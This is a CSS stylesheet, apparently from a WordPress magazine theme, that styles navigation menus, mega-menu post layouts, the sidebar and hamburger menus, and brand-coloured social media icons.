.navigation.menu-style-3 .menu .sub-menu:after {
	border-width: 0 5px 5px 5px;
	border-color: transparent transparent #fff transparent;
	top: -4px;
	left: 15px
}
#navigation.menu-style-3 .menu .sub-menu .sub-menu:after,
.navigation.menu-style-3 .menu .sub-menu .sub-menu:after {
	top: 11px;
	left: -4px;
	border-width: 5px 5px 5px 0;
	border-color: transparent #fff transparent transparent;
	border-bottom-color: transparent !important
}
#navigation.menu-style-3 .menu .megamenu .sub-menu:after,
#navigation.menu-style-3 .menu .megamenu .sub-menu:before,
#navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:after,
#navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:before,
.navigation.menu-style-3 .menu .megamenu .sub-menu:after,
.navigation.menu-style-3 .menu .megamenu .sub-menu:before,
.navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:after,
.navigation.menu-style-3 .menu .penci-mega-menu .sub-menu:before {
	content: none;
	display: none
}
#navigation.menu-item-padding .menu>ul>li,
#navigation.menu-item-padding ul.menu>li {
	margin: 0
}
#navigation.menu-item-padding .menu>ul>li>a,
#navigation.menu-item-padding ul.menu>li>a {
	padding: 0 15px
}
#navigation.menu-item-padding .menu>li.current-menu-ancestor>a,
#navigation.menu-item-padding .menu>li.current-menu-item>a,
#navigation.menu-item-padding .menu>li.current_page_item>a,
#navigation.menu-item-padding .menu>li:hover>a,
#navigation.menu-item-padding .menu>li>a:hover {
	background-color: #ececec
}
#navigation.menu-item-padding .menu>ul>li>a:before,
#navigation.menu-item-padding ul.menu>li>a:before {
	content: none;
	display: none
}
@media only screen and (min-width:961px) {
	#navigation.header-1.menu-item-padding,
	#navigation.header-1.menu-item-padding ul.menu>li>a,
	#navigation.header-4.menu-item-padding,
	#navigation.header-4.menu-item-padding ul.menu>li>a,
	#navigation.header-7.menu-item-padding,
	#navigation.header-7.menu-item-padding ul.menu>li>a {
		height: 59px
	}
	.is-sticky #navigation.header-1.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-10.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-11.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-4.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-6.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-7.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-9.menu-item-padding ul.menu>li>a {
		height: 58px
	}
	.is-sticky #navigation.header-10.penci-logo-overflow #logo,
	.is-sticky #navigation.header-11.penci-logo-overflow #logo {
		height: 58px !important
	}
	.is-sticky #navigation.header-10 #logo img,
	.is-sticky #navigation.header-11 #logo img {
		max-height: 58px
	}
	.is-sticky #navigation.header-10 .menu>li>a,
	.is-sticky #navigation.header-10 ul.menu>li>a,
	.is-sticky #navigation.header-11 .menu>li>a,
	.is-sticky #navigation.header-11 ul.menu>li>a {
		line-height: 58px
	}
	#navigation.header-10.menu-item-padding,
	#navigation.header-10.menu-item-padding ul.menu>li>a,
	#navigation.header-11.menu-item-padding,
	#navigation.header-11.menu-item-padding ul.menu>li>a,
	#navigation.header-6.menu-item-padding,
	#navigation.header-6.menu-item-padding ul.menu>li>a,
	#navigation.header-9.menu-item-padding,
	#navigation.header-9.menu-item-padding ul.menu>li>a {
		height: 81px
	}
	#navigation.header-2.menu-item-padding ul.menu>li>a,
	#navigation.header-3.menu-item-padding ul.menu>li>a,
	#navigation.header-5.menu-item-padding ul.menu>li>a,
	#navigation.header-8.menu-item-padding ul.menu>li>a {
		height: 60px;
		margin-top: -1px
	}
	.is-sticky #navigation.header-2.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-3.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-5.menu-item-padding ul.menu>li>a,
	.is-sticky #navigation.header-8.menu-item-padding ul.menu>li>a {
		height: 58px;
		margin-top: 0
	}
	#navigation.header-1.menu-item-padding,
	#navigation.header-4.menu-item-padding,
	#navigation.header-6.menu-item-padding,
	#navigation.header-7.menu-item-padding,
	#navigation.header-9.menu-item-padding {
		border-top: none !important
	}
	.is-sticky #navigation.menu-item-padding {
		height: 58px;
		border: none !important
	}
	#navigation-sticky-wrapper:not(.is-sticky) .menu .children,
	#navigation-sticky-wrapper:not(.is-sticky) .menu .sub-menu {
		margin-top: -1px
	}
}
@-moz-document url-prefix() {
	#navigation.menu-style-2 ul.menu>li.megamenu>ul.sub-menu:before {
		top: 0
	}
}
.pcmis-2 .penci-mega-post .penci-mega-meta {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 0;
	background: #000;
	background: linear-gradient(0deg, rgba(0, 0, 0, 1) 0, rgba(0, 0, 0, 0) 100%);
	width: 100%;
	padding: 10px 5px;
	z-index: 6
}
#navigation.menu-style-2 .pcmis-2 .penci-mega-post .penci-mega-meta,
.navigation.menu-style-2 .pcmis-2 .penci-mega-post .penci-mega-meta {
	left: 0;
	right: 0;
	width: 100%;
	padding-bottom: 15px
}
#navigation.menu-style-2 .penci-megamenu .pcmis-2.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,
#navigation.menu-style-2 .penci-megamenu .pcmis-3.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,
.navigation.menu-style-2 .penci-megamenu .pcmis-2.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post,
.navigation.menu-style-2 .penci-megamenu .pcmis-3.penci-content-megamenu .penci-mega-latest-posts .penci-mega-post {
	padding-bottom: 0
}
#navigation .penci-megamenu .pcmis-2 .penci-mega-thumbnail,
.navigation .penci-megamenu .pcmis-2 .penci-mega-thumbnail {
	margin-bottom: 0
}
.penci-megamenu .pcmis-2 .penci-image-holder:before {
	padding-top: 100%
}
#navigation.menu-style-2 .penci-megamenu .pcmis-2 .penci-mega-thumbnail .mega-cat-name,
#navigation.menu-style-2 .penci-megamenu .pcmis-3 .penci-mega-thumbnail .mega-cat-name,
.navigation.menu-style-2 .penci-megamenu .pcmis-2 .penci-mega-thumbnail .mega-cat-name,
.navigation.menu-style-2 .penci-megamenu .pcmis-3 .penci-mega-thumbnail .mega-cat-name {
	top: 0;
	bottom: auto
}
#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a,
#navigation .penci-megamenu .pcmis-2 .penci-mega-date,
.navigation .penci-megamenu .pcmis-2 .penci-mega-date,
.navigation .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.pcmis-2 .penci-mega-post a {
	color: var(--pcbg-cl)
}
.pcmis-3 .penci-mega-post .penci-mega-meta {
	position: absolute;
	left: 0;
	right: 0;
	bottom: 10px;
	width: 100%;
	z-index: 6;
	text-align: left
}
#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,
#navigation .pcmis-4 .penci-mega-post .penci-mega-meta .post-mega-title,
#navigation .pcmis-5 .penci-mega-post .penci-mega-meta .post-mega-title,
#navigation .penci-megamenu .pcmis-3 .penci-mega-date,
#navigation .penci-megamenu .pcmis-4 .penci-mega-date,
#navigation .penci-megamenu .pcmis-5 .penci-mega-date,
#navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,
#navigation .penci-megamenu .penci-content-megamenu.pcmis-4 .penci-mega-latest-posts .penci-mega-post a,
#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts .penci-mega-post a,
.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,
.navigation .pcmis-4 .penci-mega-post .penci-mega-meta .post-mega-title,
.navigation .pcmis-5 .penci-mega-post .penci-mega-meta .post-mega-title,
.navigation .penci-megamenu .pcmis-3 .penci-mega-date,
.navigation .penci-megamenu .pcmis-4 .penci-mega-date,
.navigation .penci-megamenu .pcmis-5 .penci-mega-date,
.navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,
.navigation .penci-megamenu .penci-content-megamenu.pcmis-4 .penci-mega-latest-posts .penci-mega-post a,
.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts .penci-mega-post a {
	text-align: inherit
}
#navigation .penci-megamenu .pcmis-3 .penci-mega-date time,
.navigation .penci-megamenu .pcmis-3 .penci-mega-date time {
	background: var(--pcbg-cl);
	display: inline
}
#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title,
.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title {
	display: inline;
	background: #fff;
	line-height: normal;
	box-decoration-break: clone;
	-webkit-box-decoration-break: clone
}
#navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a,
.navigation .penci-megamenu .penci-content-megamenu.pcmis-3 .penci-mega-latest-posts .penci-mega-post a {
	line-height: normal
}
#navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title a,
.navigation .pcmis-3 .penci-mega-post .penci-mega-meta .post-mega-title a {
	display: inline
}
#navigation .penci-megamenu .pcmis-3 .penci-mega-thumbnail,
.navigation .penci-megamenu .pcmis-3 .penci-mega-thumbnail {
	margin-bottom: 0
}
.pcmis-4 .penci-mega-post .penci-mega-post-inner,
.pcmis-5 .penci-mega-post .penci-mega-post-inner {
	display: flex;
	flex-direction: row;
	flex-wrap: wrap;
	align-items: center
}
.pcmis-4 .penci-mega-post .penci-mega-post-inner .penci-mega-thumbnail,
.pcmis-5 .penci-mega-post .penci-mega-post-inner .penci-mega-thumbnail {
	width: 100px
}
.pcmis-4 .penci-mega-post .penci-mega-post-inner .penci-mega-meta,
.pcmis-5 .penci-mega-post .penci-mega-post-inner .penci-mega-meta {
	width: calc(100% - 100px)
}
.pcmis-4 .penci-mega-post .penci-mega-meta,
.pcmis-5 .penci-mega-post .penci-mega-meta {
	text-align: left;
	padding: 0 0 0 20px
}
#navigation .penci-megamenu .pcmis-4 .penci-mega-thumbnail,
#navigation .penci-megamenu .pcmis-5 .penci-mega-thumbnail,
.navigation .penci-megamenu .pcmis-4 .penci-mega-thumbnail,
.navigation .penci-megamenu .pcmis-5 .penci-mega-thumbnail {
	margin-bottom: 0
}
.penci-megamenu .pcmis-4 .penci-image-holder:before {
	padding-top: 100%
}
.penci-megamenu .pcmis-5 .penci-image-holder:before {
	padding-top: 130px
}
#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1),
#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1),
.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1),
.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) {
	width: 40%;
	clear: both
}
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta,
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-thumbnail,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-thumbnail {
	width: 100%;
	padding: 0
}
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-thumbnail .penci-image-holder:before,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-thumbnail .penci-image-holder:before {
	padding-top: 275px
}
#navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post,
.navigation .penci-megamenu .penci-content-megamenu.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
	width: 30%
}
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner {
	display: block
}
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta {
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	padding: 20px;
	background: #000;
	background: linear-gradient(0deg, rgba(0, 0, 0, 1) 0, rgba(0, 0, 0, 0) 100%);
	z-index: 9
}
.pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a,
.pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-post-inner .penci-mega-meta .post-mega-title a {
	font-size: 18px
}
#navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-meta,
#navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-meta,
.navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-meta,
.navigation.menu-style-2 .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-meta {
	padding: 30px
}
@media only screen and (min-width:961px) and (max-width:1170px) {
	.pcmis-4 .penci-mega-latest-posts .penci-mega-post .penci-mega-post-inner .penci-mega-meta .post-mega-title a,
	.pcmis-5 .penci-mega-latest-posts .penci-mega-post .penci-mega-post-inner .penci-mega-meta .post-mega-title a {
		overflow: hidden;
		text-overflow: ellipsis;
		display: -webkit-box !important;
		-webkit-line-clamp: 3;
		-webkit-box-orient: vertical
	}
}
#navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),
#navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) a:not(:hover),
#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,
#navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-date,
#navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date,
.navigation .menu ul.sub-menu li .pcmis-2 .penci-mega-post a:not(:hover),
.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) a:not(:hover),
.navigation .menu ul.sub-menu li .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) a:not(:hover),
.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-4 .penci-mega-post:nth-child(5n+1) .penci-mega-date,
.navigation .penci-megamenu .pcmis-5 .penci-mega-latest-posts.col-mn-6 .penci-mega-post:nth-child(7n+1) .penci-mega-date,.navigation .penci-megamenu .penci-content-megamenu.pcmis-2 .penci-mega-post .penci-mega-date {
	color: #fff
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post .penci-mega-post-inner,
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post .penci-mega-post-inner {
	margin: 10px
}
#navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post,
.navigation.menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts.col-mn-4 .penci-mega-post {
	padding-bottom: 0
}
.menu-style-2 .pcmis-5 .penci-mega-post {
	padding-left: 15px;
	padding-right: 15px
}
#navigation .penci-megamenu .pcmit-side.penci-mega-child-categories a.pcmnl-ci,
.navigation .penci-megamenu .pcmit-side.penci-mega-child-categories a.pcmnl-ci {
	font-size: 80%
}
#sidebar-nav,
.penci-menu-hbg {
	position: fixed !important;
	top: 0;
	height: 100%;
	z-index: 99997;
	width: 270px;
	overflow-y: auto;
	padding: 30px 20px 20px;
	background: #fff;
	left: 0;
	transition: all .5s;
	-webkit-transition: all .5s;
	-moz-transition: all .5s;
	transform: translateX(-270px);
	-webkit-transform: translateX(-270px);
	-moz-transform: translateX(-270px)
}
#sidebar-nav {
	transform: translateX(calc(var(--pcsnav-w) * -1));
	-webkit-transform: translateX(calc(var(--pcsnav-w) * -1));
	-moz-transform: translateX(calc(var(--pcsnav-w) * -1))
}
.penci-menu-hbg.penci-vernav-show {
	z-index: 100
}
@media only screen and (min-width:961px) {
	#sidebar-nav {
		display: none
	}
}
#sidebar-nav #logo {
	display: none !important
}
#sidebar-nav #logo+ul {
	border-top: 1px solid #dedede
}
.penci-menu-hbg {
	width: 330px;
	transform: translateX(-330px);
	-webkit-transform: translateX(-330px);
	-moz-transform: translateX(-330px)
}
.admin-bar .penci-menu-hbg {
	padding-top: 62px
}
.open-sidebar-nav #sidebar-nav {
	left: 270px
}
.penci-menuhbg-open .penci-menu-hbg.penci-menu-hbg-left {
	left: 330px
}
.penci-menu-hbg::-webkit-scrollbar {
	width: 0
}
#sidebar-nav::-webkit-scrollbar {
	width: 6px;
	background: #848484
}
#sidebar-nav::-webkit-scrollbar-thumb {
	background-color: #313131;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
#sidebar-nav::-webkit-scrollbar-corner {
	background-color: #dedede
}
#sidebar-nav-logo {
	padding: 0 20px 20px;
	text-align: center;
	margin: 0 0 15px 0;
	position: relative
}
#sidebar-nav-logo:before {
	content: "";
	width: 60px;
	height: 1px;
	background: var(--pcaccent-cl);
	position: absolute;
	bottom: 0;
	left: 50%;
	margin-left: -30px
}
.header-social.sidebar-nav-social {
	margin: 0 0 43px 0;
	padding: 0 10px
}
.header-social.sidebar-nav-social .inner-header-social:after,
.header-social.sidebar-nav-social .inner-header-social:before {
	content: none
}
.header-social.sidebar-nav-social a i {
	color: #313131
}
.penci-menu-hbg .header-social.sidebar-nav-social a i {
	font-size: 14px;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	-o-transition: all .2s ease-in-out;
	transition: all .2s ease-in-out
}
.header-social.sidebar-nav-social a i:hover {
	color: var(--pcaccent-cl)
}
.penci-menu-hbg .header-social.penci-hbg-social-style-2 a,
.penci-menu-hbg .header-social.penci-hbg-social-style-4 a {
	margin: 0 3px 6px
}
.penci-menu-hbg .header-social.penci-hbg-social-style-2 a i,
.penci-menu-hbg .header-social.penci-hbg-social-style-4 a i {
	width: 36px;
	height: 36px;
	line-height: 34px;
	background: 0 0;
	border: 1px solid #e0e0e0;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	margin: 0;
	display: inline-block;
	text-align: center
}
.penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i {
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	color: #fff
}
.penci-menu-hbg .header-social.penci-hbg-social-style-2.hgb-social-style-3 a i,
.penci-menu-hbg .header-social.penci-hbg-social-style-4.hgb-social-style-5 a i {
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
.penci-menu-hbg .header-social.penci-hbg-social-style-4 a i,
.penci-menu-hbg .header-social.penci-hbg-social-style-4 a:hover i,
.penci-social-colored ul.footer-socials li a i {
	color: #fff !important;
	border: none !important;
	line-height: 36px
}
.penci-social-colored a i.pccsi-img,
.penci-social-colored a i.pccsi-svg,
.penci-social-colored ul.footer-socials li a i.pccsi-img,
.penci-social-colored ul.footer-socials li a i.pccsi-svg {
	background-color: var(--pcci, var(--pcaccent-cl)) !important
}
.penci-social-colored ul.footer-socials li a i svg {
	fill: #fff
}
.penci-menu-hbg .header-social.penci-hbg-social-style-4 a:hover i,
.penci-social-colored ul.footer-socials li a:hover i {
	opacity: .85
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-facebook,
.penci-social-colored a i.fa-facebook,
.penci-social-colored a i.fa-facebook-f,
.penci-social-colored a i.penciicon-facebook,
.tags-share-box.tags-share-box-s2 .post-share-facebook {
	background: #0d47a1 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-twitter,
.penci-social-colored a i.fa-twitter,
.penci-social-colored a i.penciicon-twitter,
.penci-social-colored a i.penciicon-x-twitter,
.tags-share-box.tags-share-box-s2 .post-share-twitter {
	background: #40c4ff !important
}
.penci-social-colored a i.fa-google-plus {
	background: #eb4026 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-instagram,
.penci-social-colored a i.fa-instagram,
.penci-social-colored a i.penciicon-instagram {
	background: #4d7a9e !important;
	background: radial-gradient(circle farthest-corner at 35% 90%, #ffa100, transparent 50%), radial-gradient(circle farthest-corner at 0 140%, #efa11c, transparent 50%), radial-gradient(ellipse farthest-corner at 0 -25%, #5258cf, transparent 50%), radial-gradient(ellipse farthest-corner at 20% -50%, #5258cf, transparent 50%), radial-gradient(ellipse farthest-corner at 100% 0, #893dc2, transparent 50%), radial-gradient(ellipse farthest-corner at 60% -20%, #8f44c7, transparent 50%), radial-gradient(ellipse farthest-corner at 100% 100%, #d43178, transparent), linear-gradient(#6559ca, #bc318f 30%, #e33f5f 50%, #f77638 70%, #fec66d 100%) !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-pinterest,
.penci-social-colored a i.fa-pinterest,
.penci-social-colored a i.penciicon-pinterest,
.tags-share-box.tags-share-box-s2 .post-share-pinterest {
	background: #bd081c !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-threads,
.penci-social-colored a i.fa-threads,
.penci-social-colored a i.penciicon-threads,
.tags-share-box.tags-share-box-s2 .post-share-threads {
	background: #000 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-bluesky,
.penci-social-colored a i.fa-bluesky,
.penci-social-colored a i.penciicon-bluesky,
.tags-share-box.tags-share-box-s2 .post-share-bluesky {
	background: rgb(16, 131, 254) !important
}
.penci-social-colored a i.fa-linkedin,
.penci-social-colored a i.fa-linkedin-in,
.penci-social-colored a i.penciicon-linkedin,
.penci-social-linkedin .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-linkedin {
	background: #0077b5 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-flickr,
.penci-social-colored a i.fa-flickr,
.penci-social-colored a i.penciicon-flickr {
	background: #ff0084 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-behance,
.penci-social-colored a i.fa-behance,
.penci-social-colored a i.penciicon-behance {
	background: #053eff !important
}
.penci-social-colored a i.fa-tumblr,
.penci-social-colored a i.penciicon-tumblr,
.penci-social-tumblr .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-tumblr {
	background: #34465d !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-youtube,
.penci-social-colored a i.fa-youtube,
.penci-social-colored a i.fa-youtube-play,
.penci-social-colored a i.penciicon-youtube {
	background: red !important
}
.penci-social-colored a i.fa-envelope,
.penci-social-colored a i.fa-envelope-o,
.penci-social-colored a i.penciicon-email,
.penci-social-email .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-email {
	background: #0084ff !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-vk,
.penci-social-colored a i.fa-vk,
.penci-social-colored a i.penciicon-vk,
.tags-share-box.tags-share-box-s2 .post-share-vk {
	background: #5181b8 !important
}
.penci-social-colored a i.fa-pocket,
.penci-social-pocket .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-pocket {
	background: #ef4056 !important
}
.penci-social-colored a i.fa-skype,
.penci-social-skype .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-skype {
	background: #00aff0 !important
}
.penci-social-colored a i.fa-heart,
.penci-social-heart .penci-social-content {
	background: #000 !important
}
.penci-social-colored a i.fa-vine,
.penci-social-colored a i.penciicon-vine,
.penci-social-vine .penci-social-content {
	background: #00b98a !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-soundcloud,
.penci-social-colored a i.fa-soundcloud,
.penci-social-colored a i.penciicon-soundcloud {
	background: #f76201 !important
}
.penci-social-colored a i.fa-snapchat,
.penci-social-colored a i.fa-snapchat-ghost,
.penci-social-colored a i.penciicon-snapchat,
.penci-social-snapchat .penci-social-content {
	background: #f6f600 !important
}
.penci-social-colored a i.fa-spotify,
.penci-social-colored a i.penciicon-spotify,
.penci-social-spotify .penci-social-content {
	background: #22c95c !important
}
.penci-social-colored a i.fa-github,
.penci-social-colored a i.penciicon-github,
.penci-social-github .penci-social-content {
	background: #302f2f !important
}
.penci-social-colored a i.fa-stack-overflow,
.penci-social-colored a i.penciicon-stack-overflow,
.penci-social-stack .penci-social-content {
	background: #f7a000 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-twitch,
.penci-social-colored a i.fa-twitch,
.penci-social-colored a i.penciicon-twitch {
	background: #613fa0 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-vimeo,
.penci-social-colored a i.fa-vimeo,
.penci-social-colored a i.fa-vimeo-v,
.penci-social-colored a i.penciicon-vimeo {
	background: #00a8e8 !important
}
.penci-social-colored a i.fa-steam,
.penci-social-colored a i.penciicon-steam,
.penci-social-steam .penci-social-content {
	background: #bcbab8 !important
}
.penci-social-colored a i.fa-xing,
.penci-social-colored a i.penciicon-xing,
.penci-social-xing .penci-social-content {
	background: #007c7c !important
}
.penci-social-colored a i.fa-whatsapp,
.penci-social-colored a i.penciicon-whatsapp,
.penci-social-whatsapp .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-whatsapp {
	background: #00e676 !important
}
.penci-social-colored a i.fa-heart-o {
	background: #000 !important
}
.penci-social-colored a i.fa-telegram,
.penci-social-colored a i.penciicon-telegram,
.penci-social-telegram .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-telegram {
	background: #289fd9 !important
}
.penci-social-colored a i.fa-reddit-alien,
.penci-social-colored a i.penciicon-reddit,
.penci-social-reddit .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-reddit {
	background: #f74300 !important
}
.penci-social-colored a i.fa-odnoklassniki,
.penci-social-colored a i.penciicon-odnoklassniki,
.penci-social-odnoklassniki .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-ok {
	background: #f18f00 !important
}
.penci-social-500px .penci-social-content,
.penci-social-colored a i.fa-500px {
	background: #0af !important
}
.penci-social-colored a i.fa-stumbleupon,
.penci-social-colored a i.penciicon-stumbleupon,
.penci-social-stumbleupon .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-stumbleupon {
	background: #eb4823 !important
}
.penci-social-colored a i.fa-weixin,
.penci-social-colored a i.penciicon-wechat,
.penci-social-weixin .penci-social-content {
	background: #0fc91c !important
}
.penci-social-colored a i.fa-weibo,
.penci-social-colored a i.penciicon-sina-weibo,
.penci-social-weibo .penci-social-content {
	background: #df152c !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-rss,
.penci-social-colored a i.fa-rss,
.penci-social-colored a i.penciicon-rss {
	background: #f0941a !important
}
.penci-social-colored a i.fa-line,
.penci-social-colored a i.penci-icon-line,
.penci-social-colored a i.penciicon-line,
.penci-social-colored a i.penciicon-line-1,
.penci-social-line .penci-social-content {
	background: #01b901 !important
}
.penci-social-colored a i.fa-viber,
.penci-social-colored a i.penci-icon-viber,
.penci-social-colored a i.penciicon-viber,
.penci-social-colored a i.penciicon-viber-1,
.penci-social-viber .penci-social-content,
.tags-share-box.tags-share-box-s2 .post-share-viber {
	background: #7d51a0 !important
}
.penci-social-colored a i.fa-discord,
.penci-social-colored a i.penci-icon-discord,
.penci-social-colored a i.penciicon-discord,
.penci-social-colored a i.penciicon-discord-1,
.penci-social-discord .penci-social-content {
	background: #7289da !important
}
.penci-social-colored a i.fa-slack,
.penci-social-colored a i.penciicon-slack {
	background: #611f69 !important
}
.penci-social-colored a i.fa-mixcloud {
	background: #f3b2a6 !important
}
.penci-social-colored a i.fa-goodreads,
.penci-social-colored a i.penci-icon-goodreads,
.penci-social-colored a i.penciicon-goodreads {
	background: #8a5724 !important
}
.penci-social-colored a i.fa-tripadvisor,
.penci-social-colored a i.penciicon-tripadvisor {
	background: #34e0a1 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-tiktok,
.penci-social-colored a i.fa-tiktok,
.penci-social-colored a i.penci-icon-tiktok,
.penci-social-colored a i.penciicon-tik-tok,
.penci-social-colored a i.penciicon-tik-tok-1 {
	background: #fe2c55 !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-butterfly,
.penci-social-colored a i.penciicon-butterfly{
	background: #1185fe !important
}
.pcsoccl-brandbg .pcsc-brandflag.pcsoci-threads,
.penci-social-colored a i.penciicon-threads{
	background: #000 !important
}
.pcsoccl-brandbg .pcsc-brandflag.fa-yelp,
.penci-social-colored a i.fa-yelp{
	background: rgba(244,13,21,1) !important
}
.penci-social-colored a i.penciicon-douban-logo {
	background: #00b51d !important
}
.penci-social-colored a i.penciicon-qq-social-logo-of-a-penguin {
	background: #4292ff !important
}
